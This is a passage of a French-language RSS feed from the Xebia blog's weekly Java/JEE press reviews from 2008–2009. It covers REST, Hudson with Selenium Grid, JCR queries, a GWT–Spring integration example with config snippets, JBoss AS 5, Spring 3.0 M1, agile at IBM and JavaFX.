/> On retiendra de cette déclinaison deux travers récurrents dans la mise en œuvre de REST :</p><ul><li><strong>Limiter REST à REST over HTTP</strong> : Ce raccourci appauvrit en effet dramatiquement les possibilités que nous offre la mise en place d&#8217;une architecture REST</li><li><strong>Limiter REST à l&#8217;utilisation du GET et du POST</strong> : Ici encore, n&#8217;utiliser qu&#8217;une sémantique à 2 verbes nous prive de la richesse dont nous pourrions profiter.</li></ul><p>Comme pour beaucoup d&#8217;autres sujets <em>(les méthodes agiles, les SOA, &#8230;)</em>, la mise en place d&#8217;architectures REST nécessite un changement d&#8217;approche et de façon de penser : REST implique une <strong>approche orientée ressources</strong> qui ne nous est pas naturelle. Il est donc primordial de ne pas bruler les étapes et de faire l&#8217;effort du changement avant de pouvoir bénéficier des promesses de REST.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="UtiliserSeleniumGridavecHudson"></a>Utiliser Selenium Grid avec Hudson</h4><p>Depuis 2006, Hudson offre un <a
href="http://wiki.hudson-ci.org/display/HUDSON/Distributed+builds" title="mode <em>master</em> / <em>slave</em>&nbsp;&raquo; >mode <em>master</em> / <em>slave</em></a> permettant d&#8217;effectuer des <em>builds distribués</em>. Récemment, ce mode de fonctionnement a commencé à être exploité par des plugins, tel que le <a
href="http://wiki.hudson-ci.org/display/HUDSON/Hadoop+Plugin" title="plugin Hadoop" >plugin Hadoop</a> permettant d&#8217;utiliser son cluster Hudson pour effectuer des traitements lourds de type MapReduce.</p><p><a
href="http://selenium-grid.seleniumhq.org/" title="Selenium Grid" >Selenium Grid</a>, d&#8217;autre part, est une solution permettant de distribuer un ensemble de tests Selenium sur plusieurs machines, permettant ainsi de ramener leur temps d&#8217;exécution à un ordre de grandeur plus propice à l&#8217;intégration continue.</p><p>Kohsuke Kawaguchi, créateur du projet Hudson, <a
href="http://weblogs.java.net/blog/kohsuke/archive/2009/05/hudson_selenium.html" title="vient d'annoncer la disponibilité" >vient d&#8217;annoncer la disponibilité</a> d&#8217;un <a
href="http://wiki.hudson-ci.org/display/HUDSON/Selenium+Plugin" title="plugin Selenium Grid" >plugin Selenium Grid</a>. Outre l&#8217;intégration à Hudson, facilitant le démarrage automatisé des tests, ce plugin présente l&#8217;intérêt de simplifier la configuration, puisqu&#8217;il s&#8217;appuie sur l&#8217;infrastructure cluster d&#8217;Hudson.</p><p>Il s&#8217;agit là d&#8217;une avancée qui devrait permettre de rendre plus accessible et moins coûteuse l&#8217;exploitation quotidienne de larges quantités de tests d&#8217;intégration. Parmi les perspectives d&#8217;avenir pour la pleine utilisation d&#8217;un cluster Hudson, on notera également une très intéressante proposition sur le Jira du projet Hadoop visant à créer un <a
href="https://issues.apache.org/jira/browse/HADOOP-1257" title="distributed JUnit TestRunner" >distributed JUnit TestRunner</a>.</p><h4><a
name="UneAPICriteriapourJCR"></a>Une API Criteria pour JCR</h4><p>Magnolia est un CMS en Java qui repose sur la technologie JCR (Java Content Repository, <a
href="http://jcp.org/en/jsr/detail?id=170" title="JSR170" >JSR-170</a>) pour assurer la persistance versionnée des informations qu&#8217;il présente.</p><p>JCR, dans sa version 1.0, propose deux possibilités pour exécuter des requêtes sur son <em>repository</em> de contenu : XPath, supporté en standard, et SQL, dont le support est défini comme optionnel par la spécification JCR.</p><p>Dans ces deux cas, les requêtes se font en mode texte. Dans certains cas d&#8217;utilisation, tels que les recherches multi-critères, cela peut amener le développeur à créer une logique de construction de requêtes par concaténation. Avec Hibernate, ce genre de problématique est adressée par l&#8217;API Criteria qui rend le développement de ce type de besoin trivial.</p><p>Partant de ce constat, les développeurs de Magnolia proposent une librairie utilitaire permettant la <a
href="http://wiki.magnolia-cms.com/display/WIKI/Hibernate%27s+Criteria-like+API+for+Magnolia-JCR" title="construction de requtes JCR par programmation" >construction de requêtes JCR par programmation</a>. Cette librairie repose sur Magnolia mais pourrait être adaptée pour devenir <em>standalone</em>.</p><p>Ceci préfigure de ce que JCR 2.0 (<a
href="http://jcp.org/en/jsr/detail?id=283" title="JSR-283" >JSR-283</a>), actuellement en statut <em>proposed final draft</em>, s&#8217;apprête à offrir : les requêtes pourront être définies de manière objet grâce à l&#8217;API JCR-JQOM (JCR Java Query Object Model). <a
href="http://jackrabbit.apache.org/" title="Apache Jackrabbit" >Apache Jackrabbit</a>, l&#8217;implémentation de référence, <a
href="http://www.nabble.com/Query-Object-Model--status-(QOM)-td22369489.html" title="supporte dj partiellement JQOM" >supporte déjà partiellement JQOM</a>.</p><h4><a
name="IntgrationsimpledeGWTetSpring"></a>Intégration simple de GWT et Spring</h4><p>Et même <em>super simple</em> selon l&#8217;article de <a
href="http://devbright.com/2009/05/super-simple-gwt-spring-integration/" title="Dev Bright" >Dev Bright</a> qui dans son exemple s&#8217;appuie sur le projet <a
href="http://code.google.com/p/gwtrpc-spring/" title="gwtrpc-spring" >gwtrpc-spring</a> (qui nous permet par la même occasion de tester une autre librairie que <a
href="http://gwt-widget.sourceforge.net/" title="GWTSL" >GWT-SL</a>, la librairie référence des projets GWT actuels). L&#8217;article est d&#8217;autant plus intéressant qu&#8217;il utilise les annotations pour déclarer les services auprès de Spring.</p><p>Les services seront accessibles par une URL qui possèdera une extension spécifique qui sera mappée dans le <em>web.xml</em>. Cela évite ainsi une multitude de servlets dans le web.xml. Ici il n&#8217;y aura qu&#8217;une seule servlet mais qui mappera toutes les extensions de type <em>.rpc</em>.</p><p>Le service :</p><pre class="brush: java; title: ; notranslate">
@RemoteServiceRelativePath(&quot;myservice.rpc&quot;)
public interface MyService extends RemoteService {
   String myMethod(String arg);
}
</pre><p>Le <em>web.xml</em> :</p><pre class="brush: xml; title: ; notranslate">
&lt;web-app&gt;
   &lt;servlet&gt;
      &lt;servlet-name&gt;dispatcher&lt;/servlet-name&gt;
      &lt;servlet-class&gt;org.gwtrpcspring.RemoteServiceDispatcher&lt;/servlet-class&gt;
   &lt;/servlet&gt;
   &lt;servlet-mapping&gt;
      &lt;servlet-name&gt;dispatcher&lt;/servlet-name&gt;
      &lt;url-pattern&gt;*.rpc&lt;/url-pattern&gt;
   &lt;/servlet-mapping&gt;
   &lt;listener&gt;
      &lt;listener-class&gt;org.springframework.web.context.ContextLoaderListener&lt;/listener-class&gt;
   &lt;/listener&gt;
&lt;/web-app&gt;
</pre><p>Pour le fichier de configuration Spring, il suffit d&#8217;activer la configuration par annotation et de donner le package à scanner :</p><pre class="brush: xml; title: ; notranslate">
&lt;beans ...&gt;
   &lt;context:annotation-config&gt;
      &lt;context:component-scan base-package=&quot;org.gwtrpcspring.example.server&quot; /&gt;
   &lt;/context:annotation-config&gt;
&lt;/beans&gt;
</pre><p>Du coup, plus aucune configuration XML, l&#8217;annotation <em>@Service</em> finit le travail :</p><pre class="brush: java; title: ; notranslate">
@Service
public class MyServiceImpl implements MyService {
   public String myMethod(String arg) {
      // You impl...
   }
}
</pre><p>En quelques lignes et très peu de configuration, l&#8217;auteur a créé une application GWT, Spring, avec annotation et avec un web.xml bindant tous les appels RPC. L&#8217;avantage dans cette configuration est que les fichiers XML de configuration n&#8217;évolueront pas (sauf ajout de nouveaux packages).</p><p>Le projet est récupérable à cette <a
href="http://gwtrpc-spring.googlecode.com/files/SimpleGwtRpcSpringExample.zip" title="url" >url</a>.</p><h4><a
name="bonnespratiquespouramliorersca"></a>8 bonnes pratiques pour améliorer scalabilité et performances</h4><p><a
href="http://www.infoq.com/news/2009/05/8-Best-Practices-Scalability" title="Wille Faler donne 8 conseils" >Wille Faler donne 8 conseils</a> pour optimiser la scalabilité de vos applications.</p><ul><li>Déchargez la base de données : la base de données relationnelles est le plus courant des goulets d&#8217;étranglements sur nos applications.</li><li>Utilisez des caches : cacher est un moyen simple d&#8217;appliquer le point précédent.</li><li>Cachez des objets complexes : même si des objets &#8216;à maille fine&#8217; sont stockées, cacher des entités plus complexes permettra de moins solliciter les ressources lors d&#8217;une recherche dans le cache, et de ramener plus rapidement une grappe d&#8217;objets complète.</li><li>Ne sauvez pas d&#8217;état en base : ne doivent persister que les données business (pas d&#8217;informations de login, de session&#8230;)</li><li>Réfléchissez à la spacialisation : placer les données au plus près de là où elles doivent être utilisées (en utilisant un CDN par exemple)</li><li>Restreignez les accès concurrents aux ressources sensibles : il est plus performant d&#8217;adopter une attitude &#8216;un seul thread à la fois&#8217;</li><li>Abusez de l&#8217;asynchrone pour fractionner vos process : séparez vos traitements en petites unités, traitées par des workers distincts; afin d&#8217;éviter un phénomène d&#8217;engorgement généralisé.</li><li>Ne surchargez pas le réseau : sortir de votre runtime applicatif est couteux en temps, limitez donc les échanges avec les systèmes tiers.</li></ul><p>Certains diront &#8216;encore un article de bonnes pratiques performance&#8217;&#8230; Pour notre part, sorti des grands classiques (base de données, réseaux&#8230;), nous avons apprécié deux conseils plutôt originaux : le caching d&#8217;entités complexes, et la spacialisation.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/</link> <comments>http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#comments</comments> <pubDate>Mon, 08 Dec 2008 18:13:36 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[GWT]]></category> <category><![CDATA[Hibernate Search]]></category> <category><![CDATA[IBM]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JavaFX]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[Silverlight]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring 3.0]]></category> <category><![CDATA[Spring Integration]]></category> <category><![CDATA[SpringSource]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=1112</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII JBoss AS 5, ce fut long mais c&#8217;est parti SpringSource tc Server : un dm Server sans ses modules Quoi de neuf dans Spring 3.0 M1 ? Sortie de Spring Integration 1.0.0 Sortie d&#8217;Hibernate Search 3.1 Agilité L&#8217;agilité chez IBM [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#JBossAScefutlongmaiscestparti">JBoss AS 5, ce fut long mais c&#8217;est parti</a></li><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#SpringSourcetcServerundmServer">SpringSource tc Server : un dm Server sans ses modules</a></li><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#QuoideneufdansSpringM">Quoi de neuf dans Spring 3.0 M1 ?</a></li><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#SortiedeSpringIntegration">Sortie de Spring Integration 1.0.0</a></li><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#SortiedHibernateSearch">Sortie d&#8217;Hibernate Search 3.1</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#LagilitchezIBM">L&#8217;agilité chez IBM</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#AupieddusapinJavaFXGA">Au pied du sapin : JavaFX GA</a></li><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#SilverlightsousLinux">Silverlight sous Linux</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#NouveaumodehostpourGWT">Nouveau mode hosté pour GWT 2.0</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="JBossAScefutlongmaiscestparti"></a>JBoss AS 5, ce fut long mais c&#8217;est parti</h4><p>Sacha Labourey, CTO de JBoss, nous avait parlé lors de <a
href="http://sacha.labourey.com/2008/12/03/paris-jug-you-rock/" title="sa venue au Paris JUG la semaine dernière" >sa venue au Paris JUG la semaine dernière</a> de l&#8217;imminence de cette annonce que la communauté attendait depuis longtemps : JBoss AS 5 est enfin releasé !</p><p><strong>Les principaux composants de JBoss AS 5</strong></p><ul><li><a
href="http://www.jboss.org/jbossmc/" title="JBoss Micro Container" >JBoss Micro Container</a> (MC) : remplaçant du JMX Kernel, MC est le conteneur du serveur d&#8217;applications. Il offre le cycle de vie des différents modules (installation, démarrage, arrêt, désinstallation).</li><li><a
href="http://www.jboss.org/jbossmessaging/" title="JBoss Messaging" >JBoss Messaging</a> (JMS) : déjà utilisé dans JBoss AS 4, JBoss Messaging est le successeur de JBoss MQ. La version 2 de JBoss Messaging est en cours de développement; les synergies avec <a
href="http://www.redhat.com/mrg/messaging/" title="Red Hat Messaging" >Red Hat Messaging</a> sont prévues ; les efforts pour faire converger les deux middlewares de message seront vraisemblablement importants.</li><li><a
href="http://www.jboss.org/jbosstm/" title="JBoss Transaction" >JBoss Transaction</a> : issu du rachat d&#8217;Arjuna Transaction Service en 2005, ce composant mature n&#8217;a pas connu d&#8217;évolution significative avec AS 5.</li><li><a
href="http://www.jboss.org/jbossws/" title="JBoss WS" >JBoss WS</a> : stack Web Service ; la multiplicité de ses implémentations SOAP (native, adapteur pour <a
href="https://metro.dev.java.net/" title="Glassfish Metro" >Glassfish Metro</a> ou pour <a
href="http://cxf.apache.org/" title="Apache CXF" >Apache CXF</a>) rend compliquée la compréhension de ce composant.</li><li>Clustering : la haute disponibilité et la réplication reposent sur le mature et dynamique <a
href="http://www.jboss.org/jbosscache/" title="JBoss Cache" >JBoss Cache</a> (aujourd&#8217;hui en version 3) qui repose lui-même sur la librairie de communication multicast <a
href="http://www.jboss.org/jgroups/" title="JGroups" >JGroups</a>.</li><li><a
href="http://www.jboss.org/jbossweb/" title="JBoss Web" >JBoss Web</a> : fort de son long passé de <em>commiter</em> Tomcat, JBoss package sa version optimisée du moteur de servlet de la fondation Apache.</li></ul><p><strong>Pourquoi JBoss a-t-il mis autant de temps à sortir cette version ? Des difficultés pour implémenter Java EE 5 ?</strong><br
/> JBoss n&#8217;a pas eu de difficultés particulières à implémenter les EJB 3 ou JPA qui étaient déjà disponibles dans JBoss AS 4.2. Java EE 5 est la partie émergée de l&#8217;iceberg AS 5. Ce qui a pris du temps à JBoss est la refonte complète de son serveur d&#8217;applications. Les fonctions structurelles du middleware (transactions, clustering, messaging, sécurité, administration, etc.) sont désormais séparées des applications déployées qui peuvent être <em>packagées</em> au format Java EE mais aussi OSGi, Spring, Ruby On Rails ou tout autre format dès lors qu&#8217;un <em>deployer</em> (i.e. adaptateur) est disponible.</p><p><strong>JBoss Micro Container est-il une victime du syndrome Not Invented Here ?</strong><br
/> La réponse est complexe et le choix de JBoss plein de mesure. Le projet MC a été lancé alors que la bataille (plus politique que technique) entre Java Module System et OSGi faisait rage. Sun misait sur le projet <a
href="https://hk2.dev.java.net/" title="HK2" >HK2</a> pour son serveur Glassfish et s&#8217;est finalement <a
href="http://blog.xebia.fr/2008/04/21/revue-de-presse-xebia-53/#JavaModuleSystemJSRvsOSGILarco" title="rabattu sur le conteneur OSGi Apache Felix" >rabattu sur le conteneur OSGi Apache Felix</a>. SpringSource a tellement <em>amélioré</em> OSGi que le résultat rendait OSGi méconnaissable (adieux les ServiceTracker et autres Declarative Services) ; le pari a réussi et Spring dm Server est en cours de standardisation par l&#8217;OSGi Alliance sous le nom de <a
href="http://blog.xebia.fr/2008/11/24/revue-de-presse-xebia-84/#OSGiSpringdmServerstandardispo" title="Blueprint Component Model" >Blueprint Component Model</a>. JBoss, pourtant habitué des contributions aux standards Java (cf. JPA, Web Beans, etc.) a cette fois ci préféré commencer cavalier seul avec un Micro Container qui supporte OSGi comme il aurait pu supporter Java Module System.</p><p><strong>Si JBoss AS 5.0 est une refonte complète, il risque d&#8217;être buggué</strong><br
/> Le risque n&#8217;est pas nul, mais nous remarquerons que la plupart des composants fondamentaux sont matures et n&#8217;ont pas été impactés par la refonte 5.0 (transactions, messaging, etc.).</p><p><strong>Le chantier AS 5 a-t-il été trop ambitieux ?</strong><br
/> Les autres serveurs d&#8217;applications ont déjà été refondus (Websphere 6.1) ou sont en cours de refonte (Glassfish 3). Cette remise à plat était importante. Cependant, JBoss a pris beaucoup plus de temps qu&#8217;il ne le prévoyait et a dû changer certaines méthodes de travail pour atteindre son objectif. Sacha Labourey a notamment expliqué que le mécanisme de build a été changé en cours de route et que le travail open source collaboratif à distance par forum/mailing-list interposés avait touché ses limites.</p><p><strong>Les clients ont-ils perdu patience ? Ont-ils changé de serveur ?</strong><br
/> Les clients ont sûrement été déçus par l&#8217;attente mais pas tellement plus que les clients Websphere <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> et JBoss AS 4 proposait déjà les EJB 3 et JPA. Ensuite, Glassfish a surement pris des parts de marché à JBoss AS mais c&#8217;est plus probablement lié à l&#8217;essor de Glassfish qui se fait au détriment de ses concurrents JBoss, Websphere et Weblogic.</p><p>En conclusion, JBoss AS 5 est une bonne nouvelle pour l&#8217;Open Source Java et rappelle la vitalité du modèle économique du Professional Open Source que JBoss a contribué à inventer.</p><h4><a
name="SpringSourcetcServerundmServer"></a>SpringSource tc Server : un dm Server sans ses modules</h4><p>L&#8217;actualité Spring est particulièrement riche cette semaine : SpringSource a annoncé lors des conférences de <a
href="http://americas.springone.com/" title="SpringOne Americas" >SpringOne Americas</a> l&#8217;arrivée prochaine d&#8217;un nouveau serveur d&#8217;applications : le <a
href="http://www.springsource.com/products/suite/tcserver" title="tc Server" >tc Server</a>.  Non, il ne s&#8217;agit pas d&#8217;un second renommage de leur <a
href=" http://www.springsource.com/products/suite/dmserver" title="dm Server" >dm Server</a>, mais bel et bien d&#8217;un nouveau produit.  Comme son nom l&#8217;indique, tc Server  n&#8217;est ni plus ni moins qu&#8217;un Tomcat gonflé en fonctionnalités et en support, permettant de répondre aux problématiques de production.</p><p>Selon SpringSource, ce nouveau serveur est destiné à trois types d&#8217;utilisateurs :</p><ul><li>Les utilisateurs de Tomcat, désireux d&#8217;acquérir du support en production et/ou des fonctionnalités supplémentaires d&#8217;aide à la configuration et de diagnostics.</li><li>Les utilisateurs de serveurs d&#8217;applications JEE qui n&#8217;utilisent pas d&#8217;EJB, désireux de migrer vers une solution plus légère.</li><li>Les futurs utilisateurs de dm Server, désirant modulariser leur application.</li></ul><p>Par ailleurs, SpringSource a <a
href="http://blog.xebia.fr/2008/11/17/revue-de-presse-xebia-83/#SpringSourcedvoilesaroadmap" title="récemment annoncé dans sa roadmap" >récemment annoncé dans sa roadmap</a> une compatibilité Tomcat dans sa prochaine version de dm Server (Jersey) prévue pour Q2 2009. À terme, ces deux serveurs ne risquent-ils pas de se marcher dessus ? Vu de l&#8217;extérieur, cela donne l&#8217;impression que ce nouveau tc Server a été créé dans le but de rassurer les utilisateurs : pas besoin d&#8217;être modulaire pour tourner sur une plateforme SpringSource.</p><p>Ce chevauchement dans l&#8217;offre nous laisse entrevoir une stratégie intéressante de la part de SpringSource :</p><ol><li>Attirer en douceur les utilisateurs via un simple support Tomcat avec tc Server.</li><li>Les aiguiller par la suite vers une solution plus complète basée sur dm Server.</li></ol><p>Pour cela, Spring compte tout d&#8217;abord mettre en avant ses fonctions Java EE classiques (monitoring avancé, transactions distribuées),  puis, dans un deuxième temps, ouvrir le développement sur un modèle de composants Spring Module. Tout l&#8217;enjeu de cette stratégie est de convaincre les exploitants. Une fois que dm Server sera suffisamment bien implanté, les développeurs devraient se mettre à déployer leurs propres modules OSGi.</p><p>Cette distinction, techniquement non nécessaire, nous montre encore à quel point la monétisation du libre et la vente de support restent difficiles. La tarification des services reste au centre de la stratégie (et c&#8217;est bien compréhensible) : avec ce nouveau serveur, SpringSource nous propose également une nouvelle grille de tarifications allégée.</p><h4><a
name="QuoideneufdansSpringM"></a>Quoi de neuf dans Spring 3.0 M1 ?</h4><p>Le premier milestone du Spring nouveau est arrivé, <a
href="http://blog.springsource.com/2008/12/05/spring-framework-30-m1-released/" title="annoncé par Jurgen Holler ce vendredi sur son blog" >annoncé par Jurgen Holler ce vendredi sur son blog</a>. Comme nous <a
href="http://blog.xebia.fr/2008/11/17/revue-de-presse-xebia-83/#SpringSourcedvoilesaroadmap" title="l'annoncions dans une précédente revue de presse" >l&#8217;annoncions dans une précédente revue de presse</a>, Spring 3.0 M1 sort avec un léger retard par rapport à la roadmap Spring prévue.</p><p>Utilisateurs de Spring 2.5, les nouveautés apportées par cette nouvelle version ne devraient pas vous dépayser : peu de nouveautés fonctionnelles, mais un gros travail de refactoring interne.</p><p><strong>Modifications techniques internes :</strong></p><ul><li>Migration de gestionnaire de source : CVS vers SVN, dont voici <a
href="https://src.springframework.org/svn/spring-framework/" title="l'adresse" >l&#8217;adresse</a>.</li><li>Refactoring du projet en modules, le trunk contient une vingtaine de sous projets : <code>org.springframework.core</code>, <code>org.springframework.aop</code>, <code>org.springframework.expression</code> &#8230;</li><ul><li>Chaque module est commité avec sa configuration Eclipse prête à l&#8217;emploi, vous trouverez donc les <code>.project</code>, <code>.classpath</code> et même les répertoires <code>.settings</code> directement sur le svn.</li><li>Vous y trouverez également les fichiers de configuration de build Ivy et un début de configuration Maven. Cette dernière n&#8217;est probablement pas fonctionnelle : les derniers commits datent de fin d&#8217;octobre pour les fichiers Maven, alors que des modifications ont été effectuées plus récemment fin novembre sur la configuration Ivy. D’ailleurs, les <code>.classpath</code> ne vous y tromperont pas, ils contiennent tous la variable d’environnement <code>IVY_CACHE</code>.</li></ul><li>Refactoring des sources, chaque module utilise maintenant les fonctionnalités Java 5, le code interne en est simplifié.</li><li>Montée de version des tiers frameworks : JRuby 1.1 et  JUnit 4.5. La montée de version de JUnit simplifie l&#8217;utilisation de ses extensions.</li></ul><p><strong>Nouvelles fonctionnalités :</strong></p><ul><li>Arrivée de Spring EL utilisable dans n&#8217;importe quel composant Spring (y compris &#8216;core&#8217;). Vous pouvez par exemple utiliser la syntaxe #{ &#8230; } lors de la définition de vos beans (XML et/ou annotations) pour permettre de définir au runtime la valeur de certaines propriétés de vos <em>beans prototypes</em>.</li><li>Support de REST intégré dans Spring MVC.</li><li>&#8230; le reste à venir dans les milestones M2 et M3 qui suivront, prévus pour Q1 2009.</li></ul><p>Nous avions également publié un article en octobre présentant <a
href="http://blog.xebia.fr/2008/10/08/spring-30-le-grand-nettoyage-du-printemps/" title="les principales nouveautés de Spring 3.0" >les principales nouveautés de Spring 3.0</a>.</p><h4><a
name="SortiedeSpringIntegration"></a>Sortie de Spring Integration 1.0.0</h4><p>La version <a
href="http://www.springsource.org/node/843" title="1.0.0 GA de Spring Integration" >1.0.0 GA de Spring Integration</a>, le <em>&laquo;&nbsp;<a
href="http://blog.xebia.fr/2007/12/17/spring-integration-lavenement-des-lightweight-esb/" title="light weight ESB" >light weight ESB</a>&laquo;&nbsp;</em> de SpringSource a été annoncée cette semaine lors du dernier <a
href="http://americas.springone.com/" title="SpringOne Americas" >SpringOne Americas</a>.</p><p>Comme nous l&#8217;expliquions dans notre <a
href="http://blog.xebia.fr/2008/07/30/introduction-a-spring-integration/" title="Introduction à Spring Integration" >Introduction à Spring Integration</a>, cette implémentation légère des <a
href="http://activemq.apache.org/camel/enterprise-integration-patterns.html" title="Enterprise Integration Patterns" >Enterprise Integration Patterns</a> vise à simplifier le développement de solutions d&#8217;intégration d&#8217;entreprise et à faciliter l&#8217;adoption par les utilisateurs de Spring des principes <strong>EDA</strong> <em>(Event Driven Architecture)</em>.</p><h4><a
name="SortiedHibernateSearch"></a>Sortie d&#8217;Hibernate Search 3.1</h4><p>La version 3.1.0 d&#8217;Hibernate Search a été mise à disposition cette semaine. Comme l&#8217;explique <a
href="http://blog.emmanuelbernard.com/" title="Emmanuel Bernard" >Emmanuel Bernard</a> dans l&#8217;article <em>&laquo;&nbsp;<a
href="http://in.relation.to/Bloggers/HibernateSearch31IsOutPerformanceRobustnessAndNewFeaturesOnTheMenu" title="Hibernate Search 3.1 is out: performance, robustness and new features on the menu" >Hibernate Search 3.1 is out: performance, robustness and new features on the menu</a>&laquo;&nbsp;</em>, cette nouvelle version met l&#8217;accent sur l&#8217;amélioration des performances, la robustesse du code et l&#8217;<em>utilisabilité</em>.</p><p>Comme nous l&#8217;expliquions dans notre <a
href="http://blog.xebia.fr/2008/03/06/introduction-a-hibernate-search-googling-your-persistent-domain-model/" title="Introduction à Hibernate Search" >Introduction à Hibernate Search</a>, Hibernate Search est un <strong>moteur d&#8217;indexation et de recherche full-text</strong> reposant sur <a
href="http://lucene.apache.org/" title="Apache Lucene" >Apache Lucene</a>. Il prend ainsi en charge la gestion d&#8217;un index Lucene et sa synchronisation avec une structure objet persistée en base de données.</p><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="LagilitchezIBM"></a>L&#8217;agilité chez IBM</h4><p><a
href="http://www.ambysoft.com/scottAmbler.html" title="Scott Ambler" >Scott Ambler</a>, responsable du développement agile chez IBM, a été <a
href="http://www.infoq.com/interviews/Agile-Scott-Ambler" title="interviewé par InfoQ" >interviewé par InfoQ</a> sur l&#8217;état présent de l&#8217;agilité et son futur.<br
/> En se basant sur l&#8217;<a
href="http://www.infoq.com/news/2008/05/agile-adoption-survey-2008" title="étude 2008 de Dr. Dobb's" >étude 2008 de Dr. Dobb&#8217;s</a>, il rappelle que 69% des organisations font au moins un projet agile. L&#8217;agilité est une réalité. Le TDD fait aussi parler de lui mais ceux qui le pratiquent sont moins nombreux.</p><p>Une autre étude a montré que les équipes agiles font autant de documentation que les équipes traditionnelles, et même plus de modélisation upfront (88% des équipes agiles), que ce soit sur papier ou avec des outils plus sophistiqués.<br
/> Abordant les problèmes liés à l&#8217;introduction de l&#8217;Agilité dans les grandes équipes, Scott cite les 2 points les plus courants qui sont les équipes de grande taille (5000 ?) et les équipes distribuées. Il ajoute un 3e point : la gouvernance.<br
/> L&#8217;Agilité permet une gouvernance plus efficace que les projets traditionnels, en laissant le contrôle du périmètre, du budget et de l&#8217;agenda aux intervenants (stakeholders).<br
/> Concernant les équipes distribuées, l&#8217;étude du Dr Dobb&#8217;s rapporte le succès des projets mesuré par leurs clients :</p><ul><li>équipes colocalisées : 83%</li><li>équipes proches (étages différents, bâtiments différents) : 72%</li><li>équipes distribuées (qui nécessitent l&#8217;avion) : 60%</li></ul><p>Scott conseille donc d&#8217;éviter les équipes distribuées. Si l&#8217;on ne peut vraiment pas, il conseille d&#8217;organiser les équipes en fonction de l&#8217;architecture afin de minimiser la communication entre les différents lieux. Cela nécessite notamment un &laquo;&nbsp;architecture owner&nbsp;&raquo;, responsable de l&#8217;architecture, mais qui ne reste pas dans sa tour d&#8217;ivoire comme on peut en voir sur certains projets.</p><p>L&#8217;autre conseil pour les équipes distribuées est de s&#8217;équiper de bons outils. Il présente le nouveau produit <a
href="http://www-01.ibm.com/software/awdtools/rtc/" title="Rational Team Concert" >Rational Team Concert</a>, basé sur Eclipse et la plateforme <a
href="https://jazz.net" title="Jazz" >Jazz</a>, qui facilite la collaboration de l&#8217;équipe.</p><p>Pour finir avec le futur de l&#8217;agilité, Scott reprend son <a
href="http://www.ddj.com/architect/210603550" title="analogie avec l'astronomie" >analogie avec l&#8217;astronomie</a> :</p><ul><li>Avant on pensait que &laquo;&nbsp;tout tourne autour de la Terre&nbsp;&raquo;. C&#8217;est la communauté traditionnelle qui pense que &laquo;&nbsp;tout tourne autour de l&#8217;engineering et de la documentation&nbsp;&raquo;.</li><li>Aujourd&#8217;hui la communauté agile pense que &laquo;&nbsp;tout tourne autour du soleil&nbsp;&raquo;, c&#8217;est-à-dire &laquo;&nbsp;autour du développeur&nbsp;&raquo;.</li><li>Demain nous verrons comme Newton que &laquo;&nbsp;tout tourne autour de tout&nbsp;&raquo;. Nous devons avoir une vision entreprise et non par silo.</li></ul><p>Avoir une vue d&#8217;entreprise sur l&#8217;informatique est extrêmement difficile, mais nécessaire pour construire des applications de niveau entreprise et de haute qualité.</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="AupieddusapinJavaFXGA"></a>Au pied du sapin : JavaFX GA</h4><p>Après presque 2 ans d&#8217;attente, JavaFX est enfin disponible en version finale. Enfin pas tout à fait : JavaFX Mobile, initialement dans le scope de cette première version, est repoussé à février 2009, et les OS Linux et Solaris ne sont pas (encore) supportés.<br
/> Cette version 1.0 tient elle malgré tout <a
href="http://blog.xebia.fr/2008/10/03/ria-contest-flex-silverlight-gwt-echo3-javafx/#JavaFX" title="les promesses entrevues lors de la parution de la preview" >les promesses entrevues lors de la parution de la preview</a> ?<br
/> Et bien, pas vraiment.<br
/> Les défauts rédhibitoires que nous y avions décelés sont toujours là : le seul IDE de développement disponible est Netbeans (sans même l&#8217;inclusion d&#8217;un éditeur graphique), les composants graphiques de haut niveau (hormis les portages Swing) manquent toujours à l&#8217;appel&#8230;<br
/> Qu&#8217;est ce qu&#8217;apporte vraiment cette version 1.0 ? A première vue, l&#8217;effort a été porté sur la documentation : la Javadoc a été mise à jour et est relativement complète. <a
